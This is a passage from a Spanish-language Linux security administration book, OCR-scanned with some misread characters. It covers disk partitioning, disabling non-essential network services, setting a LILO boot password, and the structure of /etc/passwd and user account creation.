raiz (/), /var y /usr desde un punto de vista administrativo. Como minimo,
es aconsejable dejar el raiz en su propia particién.

* Si asigna particiones a sistemas operativos que no sean Linux, piense dete-
nidamente cémo desea que Linux las monte. Por ejemplo, imagine que tiene
una pequefia particion Windows al comienzo del disco. Si va a utilizarla
exclusivamente cuando trabaje en Windows, es posible que lo mejor sea que
Linux la monte en modo de sélo lectura o que no la monte. De esa forma, la
protege de cualquier dafio accidental o intencionado.

¢ Sitiene un firewall, un sniffer o cualquier otro dispositivo de monitorizacion de la
red, canalice los registros a su propia particion (preferiblemente en otro disco).

¢ Tenga mucho cuidado cuando defina las opciones de montaje de las parti-
ciones. A veces, las politicas restrictivas pueden causar problemas adminis-
trativos. Por ejemplo, imagine que decide agrupar los archivos binarios dis-
tribuidos en /usr/local y que Linux monte /usr/local en modo de sélo
lectura. Mas adelante, esta decision puede dificultar la realizacién de actuali-
zaciones sin redefinir previamente la opcion de montaje.

Finalmente, éstos son algunos recursos en los que puede encontrar mas infor-
macion acerca de las particiones:

¢ '"Debian Linux Installation & Getting Started" de Boris D. Beletsky
(borik@isracom.co.il). El autor explica los pasos de la instalacién y hace hin-
capié en la particion del disco. Puede encontrarlo en http://www.ssc.com/
lg/issue15/debian.html.

¢ "Linux Installation and Getting Started" de Matt Welsh. Aunque se centra
principalmente en SlackWare, este documento es magnifico, ya que examina
todos los aspectos de la instalacién y la creacion de particiones con todo lujo
de detalles. Puede encontrarlo en http://durak.org/sean/pubs/ligs-slackwa-
re/nodet.html.

* "The Linux Disk HOWTO" de Stein Gjoen (sgjoen@nyx.net). El autor explica
en profundidad la geometria y la estructura de las distintas unidades, la orga-
nizacion y las particiones del disco, etc. Puede encontrarlo en http:/
www.memphisonline.com/linux/mirror/HOWTO/Disk-HOWTO.html#toc18.
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e "The Linux Partition HOWTO" de Kristan Koehntopp (kris@koehntopp.de).
El autor explica temas importantes acerca del equilibro del disco, el tamafio
de las distintas particiones, etc. Puede encontrarlo en http:/sunflower.man.
poznan.pl/LDP/HOWTO/mini/Partition.html.

e "White Paper for PartitionMagic 3.0 Optimizing Hard Drives with Parti-
tions", PowerQuest Corporation. Los autores explican las particiones y su
relacion con la seguridad y la gestion de discos. Puede encontrarlo en
http://support.powerquest.com/white1.html.

Elegir servicios de red en la instalacion

Como ya se ha explicado, Linux admite muchos servicios de red. Su tarea con-
siste en decidir cuales necesita. Los servicios de red pueden dividirse en dos tipos
principales:

e Servicios que proporcionan informacion a los clientes para el "consumo
humano". Por ejemplo, un servidor web, ya que permite a los usuarios des-
cargar documentos y medios.

¢ Servicios que proporcionan informacion a los clientes o a los hosts para el
mantenimiento operacional y de la red. Por ejemplo, el protocolo Dyrnamic
Host Configuration Protocol, que establece automaticamente la configuracion
de red de los clientes.

Los servicios de red que ofrecen datos o funciones a los usuarios no suelen ser
esenciales, sino que son privilegios y detalles que se otorgan los usuarios, y es
aconsejable verlos de esta forma. De hecho, dado que todos los servicios que eje-
cute complicaran la administracion y la seguridad de los sistemas, cuantos menos
permita mejor. Estos son algunos servicios no esenciales que ofrecen datos o fun-
ciones a los usuarios: :

e bootpd: un servidor que puede implementar el protocolo de secuencia de
arranque, lo que permite arrancar clientes sin disco desde un servidor.
Durante el inicio, los clientes sin disco realizan consultas al servidor y des-
cubren su direccién IP. También carga todos los archivos que especifica el
servidor (normalmente, el servidor envia un programa de arranque). No eje-
cute bootpd a menos que lo necesite.

e fingerd: el servidor finger, que recopila la informacion personal de determi-
nados usuarios, incluyendo su nombre de usuario, nombre real, shell, direc-
torio y nimero de teléfono de la oficina (si existe). Si se solicita, fingerd envia
esta informacion a cualquiera utilizando un cliente finger. Este es un ejemplo
de lo que devuelve fingerd:

Login name: unowen In real life: U. N. Owen
Directory: /home/unowen Shell: /sbin/sh

On since Feb 3 18:13:14 on pts/15 from ppp-208-19-49-133.samshacker.net
Mail last read Wed Feb 3 18:01:12 1999
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No es en absoluto esencial. De hecho, puede exponer a los usuarios y al ser-
vidor Linux a invasiones no deseadas de la privacidad. Es aconsejable desha-
bilitar fingerd a menos que haya una buena razoén para no hacerlo. Para ello,
incluya comentarios en /etc/inet.d escribiendo un simbolo # al comienzo de
la linea de definiciones del finger.

ftpd: el protocolo de transferencia de archivos (FTP), que proporciona una
transferencia estandar de archivos a través de redes de Internet. Actualmen-
te, no hay muchos motivos para ejecutar servidores FTP. WWW ha facilitado
la distribucién de archivos a través de HTTP, ya que la mayoria de los usua-
rios lo conocen mejor. Si va a ofrecer servicios de FTP, véase el Capitulo 11,
"Seguridad en FTP".

gopherd: servidor Gopher. Gopher se desarroll6 en la Universidad de Min-
nesota y es un sistema de distribucién de documentos y el predecesor de la
Web. Los servidores Gopher suelen utilizarse para distribuir la informacion
textual. Sin embargo, un gran nimero de los actuales navegadores web
admiten los protocolos Gopher, por lo que también se puede utilizar para dis-
tribuir otros medios. Sin embargo, es posible que nunca lo utilice, por lo que
quizas desee ignorarlo.

httpd: el servidor del protocolo de transmision de hipertexto. Este es su ser-
vidor web. No hay duda de que deseara ofrecer, al menos, servicios de Web
limitados. En el Capitulo 14, "Seguridad de servidor web", puede encontrar
formas de ajustar el control de acceso y la seguridad general del servidor
web.

nfs: Sistema de archivos de red (NFS). Un sistema que permite importar o
exportar archivos o sistemas de archivos de forma transparente de o a hosts
remotos. Dichos archivos aparecen y actdan como si estuvieran instalados
en su maquina local. NFS es atil en muchos casos. Por ejemplo, si es el host
de varios servidores web de terceros (tiene un portal vertical), puede reali-
zar exportaciones a un servidor RAID. De esa forma, los directorios web de
todos los usuarios se almacenan realmente en un solo servidor redundante y
preparado para la aparicion de fallos en los kosts individuales. A los usuarios,
que mantienen sus propias paginas web, todo les parece local cuando reali-
Zan una conexion telnet o por FTP con su equipo compartido.

NFS tiene muchos otros usos. Sin embargo, salvo que sea necesario, no lo
instale o lo active. NFS presenta algunos problemas de seguridad, aunque
existen sistemas NFS seguros. Puede obtener mas informacion al respecto
en el Capitulo 15, "Protocolos web seguros".

nntpd: el servidor del protocolo Network News Transfer Protocol. Es el servi-
dor de noticias de Usenet. Actualmente, la mayoria de los usuarios obtienen
las noticias de Usenet de su propio proveedor de servicios de Internet, por lo
que no hay motivo para que ejecuten NNTP.

rlogind: el servidor de rlogin (login remoto). rlogin es un servicio remoto que
permite a los usuarios tener sesiones en terminales remotos de forma pare-
cida a como se realizan con telnet. Una diferencia importante entre rlogin y
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telnet es que el primero permite a los usuarios configurar un acceso sin con-
trasefia a hosts de confianza con usuarios de confianza, lo que es posible que
no desee.

o rshd: el servidor de skell remotas (rsh). rsh permite a los usuarios ejecutar
comandos en hosts remotos que utilicen rshd. Es miembro de la familia de
servicios remotos (rsh, rlogin, etc.), lo que es un importante riesgo para la
seguridad. Evalte detenidamente si necesita ofrecer dichos servicios.

o talkd: el servidor de talk. talk es un sistema de conversacion interactivo para
Linux que divide por la mitad la pantalla de cada usuario. La mitad superior
refleja lo que escribe la parte remitente, mientras que la inferior muestra lo
que escribe la parte que responde. ¢Es esencial? Apenas. Sin embargo, si el sis-
tema es interno (no conectado a la Red), es posible que desee mantener talk
para posibilitar comunicaciones rapidas entre los distintos departamentos.

e telnetd: el servidor de telnet. Aunque telnet puede aumentar el riesgo, es
indispensable para algunas tareas administrativas, por lo que es muy proba-
ble que desee conservarlo. En el Capitulo 13, "Seguridad telnet", encontra-
ra varias formas de bloquear telnet con el fin de poder utilizarlo de forma
segura.

e tftp: protocolo Trivial File Transfer Protocol (TFTP). TFTP es un antiguo
método de transferencia de archivos que no es probable que necesite.

Esta no es mas que una pequena muestra de los servicios. La instalacion prede-
terminada puede sobrecargar el sistema con muchos mas servicios que no son
esenciales y reducir su seguridad. Por esta razon, es aconsejable que, siempre que
se pueda hacer, se ejecute una instalacion personalizada y se rechacen explicita-
mente aquellos paquetes que no sean necesarios.

Cargadores de arranque

Los cargadores de arranque son programas pequefos que gestionan el proceso
de arranque. Si ha trabajado con Windows NT, es posible que ya haya utilizado algu-
no. En el inicio, un cargador de arranque de NT pregunta en qué sistema operativo
desea arrancar el usuario.

En Linux, la herramienta de carga en el arranque mas utilizada es LILO, el car-
gador de Linux. Durante la instalacién (normalmente al final), Linux generara los
valores de LILO y le pedira que los verifique. Ahi es cuando tiene la oportunidad de
insertar nuevas opciones de arranque en LILO. Por ejemplo, es posible que haya
otras particiones y sistemas operativos que desee afiadir. De esta forma, durante el
inicio del sistema puede elegir el sistema operativo que va a utilizar en dicha sesion.

LILO lee las opciones de /etc/lilo.conf, el archivo de configuracién de LILO.
/etc/lilo.conf cuenta con una opcién para arrancar con contrasefia, que vamos a
explicar ahora.
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/etc/lilo.conf: el archivo de configuracion de LILO

Tras la instalacion, /etc/lilo.conf contendra los valores dga las imagenes de
arranque, de las unidades destino y de la particion raiz. Este es el archivo
/etc/lilo.conf de la unidad con particiones del ejemplo anterior:

#

# general section

#

boot = /dev/hda

install = /boot/boot.b
message = /boot/message
prompt

# wait 20 seconds (200 10ths) for user to select the entry to load
timeout = 200

#
# default entry
#

image = /vmlinuz
label = linux
root = /dev/hda2

read-only
#
# additional entries
#

Vamos a explicar rapidamente /etc/lilo.conf y su contenido. De esta forma,
cuando lo modifique estara seguro de que est4 realizando los cambios correctos. La
Tabla 3.3 muestra algunas opciones frecuentemente utilizadas de /etc/lilo.conf.

Tabla 3.3 Opciones de /etc/lilo.conf mas frecuentes

Opcién Propésito

append=[hardware-params] Esta opci6n se utiliza para especificar otros parimetros del
hardware. Por ejemplo, para especificar la cantidad de memo-
ria RAM que tiene o la geometria exacta del disco duro, que es
posible que no necesariamente se detecte automaticamente.

backup=[backup-file] Esta opcion se utiliza para indicar a LILO que copie el sector de
arranque a un archivo de copia de seguridad.

boot=[boot-device] Esta opcion se utiliza para especificar la particion de arranque.
Por ejemplo, en el /etc/lilo.conf del ejemplo, el dispositivo de
arranque es /dev/hda (el primer disco duro).
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Tabla 3.3 Opciones de /etc/lilo.conf més frecuentes  (continuacion)

Opcidén Propésito

delay=[time] Esta opcién se utiliza para especificar el tiempo que debe dete-
nerse antes de arrancar, en décimas de segundos. Este es el
equivalente en Linux de la configuracién de pausa de INI-
CIO/CIERRE de Windows NT. Puede estrecharlo hasta dejar-
lo en cero, a menos que se tenga intencion de pasar parametros
adicionales al indicativo de arranque.

force-backup=(file] Esta opcion se utiliza para hacer copias de seguridad del sector
de arranque en un archivo y sobrescribir las copias de seguri-
dad anteriores.

install=[boot-sector] Esta opcion se utiliza para instalar el archivo especificado como
el nuevo sector de arranque. No suele ser necesario a menos
que se desee especificar un sector de arranque que no sea el
predeterminado (/boot/boot.b).

message=|message-file] Esta opcidn se utiliza para especificar un archivo message, que
contiene el mensaje de texto que aparece encima del indicativo
boot: en el momento de arranque. Normalmente, es una nota
del proveedor o un mensaje que demanda argumentos de
arranque adicionales. Sin embargo, puede utilizar lo que
desee.

password=[password)] Esta opcién se utiliza para definir una contrasefa de arranque.
Esta opcion la definiremos dentro de un momento.

restricted Esta opcién se utiliza para especificar que sélo se necesita con-
trasefia cuando los usuarios intentan pasar argumentos de
arranque adicionales.

timeout=[time] Esta opcién se utiliza para especificar cuantas décimas de
segundo debe esperar el cargador de arranque antes de arran-
car sin ninguna entrada del teclado.

verbose=[level] Esta opcién se utiliza para controlar el detalle de los mensajes
de arranque. Recomendamos el maximo, es decir, 5.

Anadir una contrasena de arranque

Para poner una contrasefia al archivo /etc/lilo.conf, inserte una linea como la
siguiente:
password=123456

Con ello se evita que los usuarios locales arranquen Linux sin contrasefia. Ten-
ga en cuenta que la contrasefia no estara cifrada. Por consiguiente, aseguirese de

que /etc/lilo.conf se encuentra en el raiz y cambie a modo 600. Si no lo hace, es
posible que determinados usuarios puedan obtener la contrasefia de LILO.



| 79

NOTA

Si tiene intencidn de automatizar los arranques como parte de algin procedimiento
administrativo, tendrd que pasar a la opcién PASSWORD de LILO. Si activa la
opciéon PASSWORD, Linux detendrd el arranque hasta que algin operador escriba
la contrasefa.

Resumen de cargadores de arranque

Mas adelante puede decidir no utilizar LILO. Después de todo no es el tnico
gestor de arranque que existe. Consulte la documentacién del cargador de arran-
que para averiguar si admite proteccion mediante contraseiia. Todas las capas
cuentan.

Y finalmente, tenga en cuenta que la opcién de contrasena de /etc/lilo.conf no
evita que aquellos que deseen atacar al equipo arranquen con un disquete. Si la
BIOS-PROM cuenta con alguna opcién para desactivar la posibilidad de arrancar
con disquete, utilicela.

NOTA

Otra opciodn es instalar LILO en disquetes. De esta forma, quienes deseen atacar a
la maquina no pueden arrancar Linux desde el disco duro. Si utiliza este método,
asegurese de realizar varias copias del disco de arranque de LILO, por si se dafia la
original.

Resumen

Intente personalizar la instalacion para que satisfaga las necesidades esenciales
del servidor de Linux y descarte el resto. Para ello no existe ningtin conjunto de
reglas recomendado. Determinar dichas necesidades es una responsabilidad que
exige conocimientos, organizacion y objetivos claros. Sobre todo cuando Linux se
utiliza en entornos empresariales, hay que explicar como se va a utilizar el servidor,
quién lo va a utilizar y qué datos va a servir.

El siguiente capitulo se aparta de las medidas de seguridad preliminares (segu-
ridad fisica, instalacidn, etc.) a favor de una administracion de sistemas a la antigua
usanza.






Administracion basica
del sistema Linux

En este capitulo

La idea basica.

Crear y administrar cuentas.
Estructura de las cuentas.

Realizar tareas administrativas con su.
Control de acceso.

Permisos y propiedad.

Desconectar el sistema.

Resumen.
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En los ultimos afios, la seguridad de las redes se ha convertido en un fenémeno
y no parece que los medios de comunicacion tengan bastante. En los titulares de los
periédicos a menudo aparecen suculentas historias de piratas informaticos, intru-
sos y ciberguerra.

Esta gran cobertura ha otorgado una mistica especial a la seguridad en Internet
y, por extension, a los administradores de sistemas. Para escuchar a los medios de
comunicacién hablar de este tema, ha sido necesario que los administradores de
sistemas pasaran dias enteros persiguiendo sin piedad a saqueadores por la helada
tundra del ciberespacio.

¢Hay algo de cierto en todo esto? Un poco. Es posible que algin dia se vuelva
loco buscando a los malhechores que han echado abajo su servidor de correo. Pero
no es habitual que pasen estas cosas. Lo normal, es que la mayoria de los dias se los
pase realizando tareas administrativas, que son menos atractivas pero esenciales.
Este capitulo se centra en dichas tareas.

La idea basica

En primer lugar vamos a ver una imagen global. Como se ha explicado en capi-
tulos anteriores, todo el poder administrativo se otorga al root. Este controla a los
usuarios individuales, a los grupos y los archivos, y dicho control se ejerce, habi-
tualmente, en una secuencia ldgica. Véase la Figura 4.1.

Crear cuentas
de usuario

Establecer
grupos

Usuario

Grupos

Establecer
derechos

Archivos y
directorios

FIGURA 4.1
Root crea las cuentas de los usuarios, define los grupos y establece los derechos de acceso
a los archivos.
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Como muestra la figura, se empieza con usuarios individuales o un conjunto de
ellos. Al crear sus cuentas, dichos usuarios se organizan en grupos dependiendo de
sus tareas respectivas y de sus necesidades de acceso. Finalmente, se definen con
mayor precision los derechos de acceso individuales de cada usuario en aquellos
lugares en los que difieran de los de su grupo.

En este capitulo se utiliza (v se explica) dicha secuencia légica centrandose en
los siguientes temas:

e (Creary gestionar cuentas de usuario.
¢ Definir politicas para grupos.
o Asignar y revocar privilegios de acceso.

e Asegurarse de que los usuarios autorizados pueden utilizar los recursos del
sistema.

e Apagar el sistema sin que corra peligro.

Sin embargo, antes de empezar vamos a centrarlos en la primera cuenta que va
a crear: la suya.

Su propia cuenta

Es posible que se pregunte por qué necesita su propia cuenta. Después de todo,
el 7oot es una cuenta. ¢No es una cuenta con autoridad suficiente? La respuesta es
afirmativa, es mas que suficiente. De hecho es demasiado.

Dicha cuenta no se debe utilizar nunca para fines personales, salvo que sea abso-
lutamente necesario, como por ejemplo durante una situacién de restablecimiento.
Esta restriccién se debe a varios motivos. En primer lugar, como raiz tiene poder
absoluto. Tiene todos los permisos posibles sobre los archivos y ninguna restric-
cién de acceso; puede cambiar cualquier cosa en cualquier momento. Este poder es
muy util, pero si se utiliza indiscriminadamente, se pueden provocar de forma invo-
luntaria dafios irreparables.

En segundo lugar, se puede abrir el sistema a incalculables amenazas a la segu-
ridad. Por ejemplo, suponga que navega por Internet con Netscape Communicator.
Imagine que tiene activada la compatibilidad total con los idiomas. Si el explorador
procesa un malintencionado subprograma de Java, dicho subprograma puede here-
dar sus privilegios de acceso y utilizarlos para atacar el sistema.

Crear y administrar cuentas

En esta seccion se explica cémo crear y administrar cuentas. Se divide en cuatro
partes:

e DPolitica de cuentas.
e Estructura de cuentas.
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¢ Creacién y eliminacion de cuentas ordinarias de usuarios.
¢ Gestion de cuentas especiales.

Politica de cuentas

Una cuenta, en su sentido mas general, consta de dos elementos:

¢ Autorizacién para iniciar una sesion.
¢ Autorizacion para acceder a los servicios.

La autorizacion para iniciar la sesién es un privilegio que no hay que conceder
nunca a la ligera. Si es posible proporcionar a los usuarios servicios criticos sin con-
cederles acceso ala shell, hagalo. El acceso a la shell se produce cuando los usuarios
tienen acceso remoto por telnet a una shell local del servidor. Otorgar este acceso
supone un problema, ya que cuantos mds usuarios tengan acceso a la shell, mas pro-
bable es que aparezca una brecha en la seguridad.

Los usuarios de la shell pueden aprovecharse de archivos y servicios a los que no
pueden acceder los atacantes remotos. Estos deben obtener acceso a la shell antes de
aprovechar los agujeros internos; un usuario vélido de la shell ya ha recorrido la
mitad del camino. Pero, aunque no tengan intenciones malvadas, los usuarios de la
shell también pueden causar problemas. Incluso los comportamientos mas inocentes
pueden socavar la seguridad, por ejemplo si los usuarios crean archivos rhosts.

Si es imprescindible otorgar a los usuarios acceso a la shell durante la creacion
de una red Linux, con estas medidas al menos se reducen los riesgos:

¢ Dedique una maquina exclusivamente para el acceso a la shell.
¢ Restrinja dicha maquina solamente para el uso de la shell.
¢ Elimine de ella todos los servicios de red que no sean esenciales.

¢ Instale un conjunto genérico de aplicaciones y al crear las particiones tenga
en cuenta el restablecimiento tras algin desastre. En otras palabras, es de
esperar que haya que reinstalar Linux con frecuencia. Las maquinas con la
shell no suelen recibir muy buen trato.

e Prohiba las relaciones de confianza entre la shell y otras maquinas.

e Considere la posibilidad de separar los sistemas de archivos importantes
(/tmp, /home, /var) en otras particiones y mueva los binarios s«id a una par-
ticiéon que Linux monte no setuid.

e Redirija los registros a un servidor de registros o, si el presupuesto lo per-
mite, a algin medio en el que sélo se pueda escribir una vez y registre
todo.
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Si va a configurar una sola maquina con Linux, aplique las mismas reglas basi-
cas: conceda acceso a la shell exclusivamente a aquellos que realmente lo necesiten.
Tenga especial cautela a la hora de conceder acceso a la skell a todos aquellos que
sepa que son piratas informaticos o intrusos (aparte de usted, claro). En caso con-
trario, ademas de llenarle la maquina de basura, es posible que su IP acabe cargan-
do con la culpa de algo que han hecho ellos.

Estructura de las cuentas

Una cuenta, en el sentido mas especifico, consta de lo siguientes elementos:

e Un nombre de usuario y una contrasena validos.
¢ Un directorio inicial.
¢ Acceso ala shell.

Cuando un usuario intenta iniciar una sesién, Linux comprueba si se cumplen
estos requisitos, para lo que examina el archivo passwd.

passwd

El archivo passwd se encuentra en el directorio /etc. Si ha estado utilizando
Linux en un entorno puramente grafico y ain no domina la linea de comandos, véa-
se la Figura 4.2.

root.x 0:0:root: foot binbash

bin:x:1:1 bin: foin:

daemon: x: 2 2:daemon: /sbin;

adm:x 3:4.adm fvarfadm

Ip:x:4:7 Ip: ivar/spooiipd:

D m home B ’ Ay, syne:x 5:0:sync:sbin: infsync
: hatt:x:7:0:hal: /sbin: isbinhalt

b Q inftrd - mail x8:12:mail: varfspoolimail:

Paso 1: desplacese Paso 2: busque vy resalte Este es el aspecto
al directorio /etc el archivo passwrd del archivo passwrd

FIGURA 4.2
Busqueda de /etc/passwd con un administrador grafico de archivos.



root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

1p:x:4:7:1p:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

news:x:9:13:news:/var/spool/news:

uucp:x:1@:14:uucp:/var/spool/uucp:

operator:x:11:0:operator:/root:

games:x:12:100:games: /usr/games:

gopher:x:13:30:gopher:/usr/lib/gopher-data:

ftp:x:14:50:FTP User:/home/ftp:

man:x:15:15:Manuals Owner:/:

majordom:x:16:16:Majordomo:/:/bin/false

postgres:x:17:17:Postgres User:/home/postgres:/bin/bash

nobody:x:65534:65534:Nobody:/:/bin/false

snoop:x:100:100:Nosey User:/home/snoop:/bin/bash

matt:x:500:500:Caldera OpenLinux User:/home/matt:/bin/bash
Cada linea almacena el registro de una cuenta y cada registro consta de siete

campos (los campos de las cuentas estan delimitados por columnas). Vamos a exa-

minar cada uno de los campos utilizando la cuenta asignada al usuario matt (la ulti-
ma linea). Véase la Figura 4.3.

Los signos de dos puntos (:) son separadores de campos

R

matt : x : 500 : 500 : CalderaOpenLinux User : /home/matt : /bin/bash

T 1T T | ]

Campo 1 |Campo 3 Campo 4 Campo 5 Campo6  Campo 7
Nombre Id.de  Group ID Nombre Directorio Shell de
de usuario | usuario  (GID) real principal usuario
del usuario
Campo 2
Contrasefa cifrada
o resefa de
contrasena

FIGURA 4.3
/etc/passwd se divide en siete campos delimitados por dos puntos (:), a saber, username,
password, userlD, grouplD, real name, user home y user shell.
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La Tabla 4.1 describe estos campos y lo que significan.

Tabla 4.1

Campos de /etc/passwd y su significado

Campo

Significado

username

password

userlD

grouplD

Almacena el nombre de usuario del usuario. Es aconsejable crear nom-
bres de usuario que se parezcan a los nombres reales de los usuarios. Por
ejemplo, si el nombre real de un usuario es Maria del Val Hernandez, su
nombre de usuario podria ser mvhdez. Esta practica no es imprescindible,
pero facilita el reconocimiento de los usuarios mediante sus nombres de
usuario, lo que resulta de especial importancia en los entornos empresa-
riales. La longitud de los nombres de usuario no debe superar los ocho
caracteres y debe escribirse en minisculas.

Almacena la contrasena de acceso del usuario. Cada una de las versiones
de Linux almacena la contrasefia de los usuarios de forma distinta. Las
anteriores distribuciones de Linux almacenaban la contrasefia del usuario
en forma cifrada (como, por ejemplo, xImmmFtgA8), mientras que las
nuevas que emplean shadowing sélo almacenan una resefia de la contrase-
fia (x) y ocultan la contraseia cifrada en otra parte. En el Capitulo 5, "Ata-
ques a contrasefia", encontrara mas informacion acerca del shadowing de
contraseiias.

Almacena el nimero de identificacién de usuario (UID) del usuario.
Este numero se adjunta a los procesos del usuario. Cuando se elige el
UID de un usuario nuevo se puede asignar cualquier numero tnico y
arbitrario entre el 0 y el 65534 (no utilice el 0, ya que es roof). Sin
embargo, no es aconsejable que los UID sean demasiado arbitrarios.
En su lugar, reserve un bloque de numeros especificamente para los
usuarios y asignelos secuencialmente. Por ejemplo, puede restringir
los UID a numeros entre 500 y 700. El primer usuario es el 501, el
segundo el 502 y asi sucesivamente. De esta forma, con un solo vistazo
a la lista de procesos puede saber quién esta realizando cada tarea. Si
la lista de procesos informa de que hay varios UID en el rango 500-700,
sabra qué usuarios poseen cada uno de los procesos (en la mayoria de
los casos no sera necesario que se moleste en elegir el UID, ya que
muchas de las dltimas herramientas de administracién de Linux lo
hacen automaticamente).

Almacena el numero de identificacién de grupo del usuario, que refleja el
grupo nativo del usuario. Los usuarios pueden pertenecer o no a otros
grupos, pero siempre pertenecen a su grupo nativo. Cada versiéon de
Linux asigna este campo de forma distinta. La mayoria de las distribucio-
nes colocan a todos los usuarios en el mismo grupo predeterminado (por
ejemplo, users). Caldera y Red Hat asignan a cada usuario su propio gru-
po, llamado grupo privado. En este mismo capitulo se explican los grupos
con mayor detalle. De nuevo, no utilice el 0, ya que es root.
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Tabla 4.1 Campos de /etc/passwd y su significado  (continuacion)

Campo

Significado

Real name

user home

user shell

Suele recibir el nombre de campo General Electric Comprehensive Opera-
ting System (GECOS) y almacena el nombre real del usuario, entre otras
cosas. Si no se define, Linux lo ajustara automaticamente (como hacia
OpenLinux en el caso de matt). Este campo se utiliza principalmente para
temas relacionados con los informes, como por ejemplo en respuesta a las
consultas finger. Tenga en cuenta que en este campo se puede definir otra
informacion, entre la que se incluye el nimero de teléfono de casa o del
trabajo del usuario.

Almacena la ubicacién del directorio de inicio del usuario (en este caso,
/home/matt). Si durante la instalacion se ha creado una particion y un direc-
torio especiales para los usuarios (que no sea /home), ése es el que hay que
seleccionar. Sin embargo, hay que asegurarse de que todos los directorios de
los usuarios se mantienen en la misma particion y bajo la misma jerarquia de
directorios. A menos que exista una buena razon para no hacerlo, es muy
aconsejable almacenar los directorios de los usuarios en /home.

Almacena la shell predeterminada del usuario. Esta es la shell en la que
entra el usuario la primera vez que se conecta. Si se ha cargado toda la dis-
tribucién de Linux, se puede elegir entre varias opciones: ash, csh, bash,
ksh, tcsh, zsh, etc. Sin embargo, es recomendable restringir a todos los
usuarios a una skell comun. Cuantas mas debilidades tengan las shells que
se proporcionen, mas oportunidades tendran los crackers de encontrar un
agujero en alguna de ellas.

Pero hay algo mas ademas de las entradas de /etc/passwd. Durante el proceso
de creacién de cuentas también hay que crear directorios, entre los que se incluye
el directorio de inicio del nuevo usuario, habitualmente /home/user.

Ademds, si las cuentas se afiaden manualmente, sera necesario copiar los archi-
vos de inicio predeterminados (que se encuentran en /etc/skel) en el directorio de
inicio del nuevo usuario (v definir los permisos apropiados).

Es muy probable que /etc/skel contenga estos archivos:

SPW-r--r--
“rW-P--P--
“rW-r--r--
“PW-r--T--
~IWXP - XTI -X
“PW-P--r--
“PW-r--r--
SPW-l--P--
- PWXT - XP - X

drwxr-xr-x

1
1
1
1
1
1
1
1
1
2

root root 49 Nov 25 1997 .bash_logout
root root 913 Nov 24 1997 .bashrc

root root 650 Nov 24 1997 .cshrc

root root 111 Nov 3 1997 .inputrc
root root 186 Sep 1 1998 .kshrc

root root 392 Jan 7 1998 .login

root root 51 Nov 25 1997 .logout

root root 341 Oct 13 1997 .profile
root root 182 Sep 1 1998 .profile.ksh

root root 1024 Jun 4 21:37 .seyon
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En algunos sistemas, .profile recibe el nombre de local.profile.

En su estado original, el propietario de estos archivos es root (véase mas arriba).
Para prepararlos para que los utilice otro usuario, pruebe lo siguiente:

mkdir /home/newuser

cp /etc/skel/.* /[home/newuser/
chown newuser /home/newuser

chown newuser /home/newuser/.*
chgrp newuser-userid /home/newuser
chgrp/home/newuser/.*

chmod 755 /home/newuser

chmod 644 /home/newuser/.*

Anadir usuarios

Hay varias formas de afiadir usuarios:

¢ Utilizando herramientas graficas: muchas distribuciones de Linux, entre los
que se incluyen Red Hat y OpenLinux, cuentan con herramientas graficas de
administracion de cuentas, como usercfg.

e Utilizando herramientas de la linea de comandos: la mayoria de las distribu-
ciones de Linux incluyen herramientas de la linea de comandos para la admi-
nistracion de cuentas, como adduser (que se explica mas adelante).

¢ Modificando /etc/passwd manualmente: si es la primera vez que se enfren-
ta a Linux, es un método arriesgado, pero merece la pena conocerlo.

Vamos a examinar cada uno de los métodos.

Anadir usuarios con herramientas graficas

Existen varias herramientas graficas administrativas. Las suyas dependen de su
distribucion de Linux. Una de ellas es usercfg, disponible en Red Hat y Caldera
OpenLinux.
usercfg

Aplicacion: usercfg

Necesita: usercfg + python

Archivos de configuracion: /usr/lib/rhs/control-panel/usercfg.init, /usr/lib/
rhs/usercfg, /usr/lib/rhs/usercfg/usercfg.py, usr/lib/rhs/usercfg/usercfg.pyc

Historial de seguridad: un antiguo agujero en la seguridad (en las bibliotecas
de Python de alrededor de 1996) permitia a las personas que lo atacaban obtener
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acceso a /etc/shadow. El codigo de prueba del exploit se encuentra en http://safe-
networks.com/Linux/shadow.html.

NOTA

usercfg es una herramienta independiente para la administracién de cuentas, pero
para utilizarla hay que tener el lenguaje Python y sus bibliotecas. Si se realiza una
instalacion completa, no debe de haber ningtn problema. Sin embargo, si se selec-
cionan de forma selectiva las herramientas de desarrollo y se han excluido usercfgy
Python, hay que instalarlas ahora. usercfg se encuentra en /usr/bin. Tenga en cuenta
que la interfaz grafica de usercfg puede variar. En algunos casos, se basa en X, mien-
tras que en otros, se ejecuta a través de LISA con cuadros de didlogo a través de una
shell o desde un indicativo de comandos.

Para iniciar usercfg desde X, haga clic en su icono en la ventana Admin Tools en
Caldera o en el panel de control en Red Hat. Si no puede encontrar usercfg ahi, abra
un Xterm y escriba la siguiente linea de comandos:

Suserctg

LISA (la herramienta de instalacién y administracién de sistemas de Linux) car-
gara usercfg. Véase la Figura 4.4.

El bot6n Call ya estara resaltado. Desplécese a Add New Users (opcion 2) y pul-
se Intro. usercfg le llevara a los seis pasos necesarios para crear una cuenta:

e Afadir el nombre de conexion del usuario.

¢ Aiiadir el UID del usuario.

¢ Afiadir el grupo del usuario.

e Anadir el directorio principal del usuario.

e Anadir la shell predeterminada del usuario.

e Afadir el nombre completo del usuario.

Para finalizar, usercfg abrira una interfaz de texto y solicitara una contrasefa:

Enter new Unix password:

Escriba la contrasefia del nuevo usuario y pulse Intro. usercfg solicita confirma-
cion de la contrasea:

Enter new Unix password:

Tras verificar la contrasefia, usercfg almacenara la informacion en /etc/passwd.

En las Gltimas versiones de Linux, las herramientas gréficas de administracion varian.
OpenLinux 2.2 incluye COAS (Caldera Open Administration System), mientras que
Red Hat incluye linuxconf.
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Ly 199 1997 151

from this window you can make alterations to
groups and users on your system,

Add New Users
Delete usars

group
Set dafault valuas

Help ————————————— (Esc)

ancel

FIGURA 4.4
La pantalla inicial de usercfg.

Anadir usuarios con adduser

Las herramientas graficas son ttiles cuando se realizan tareas de trabajo, pero
para crear cuentas son mas rapidas las utilidades de la linea de comandos.

Una eficaz herramienta de linea de comandos para la administraciéon de cuentas
es adduser.

adduser
Aplicacion: adduser
Necesita: adduser + /bin/sh
Archivos de configuracion: ninguno
Utilidades parecidas: useradd

Historial de seguridad: la version 1.0 (incluida en Red Hat 2.0) tenia un algo-
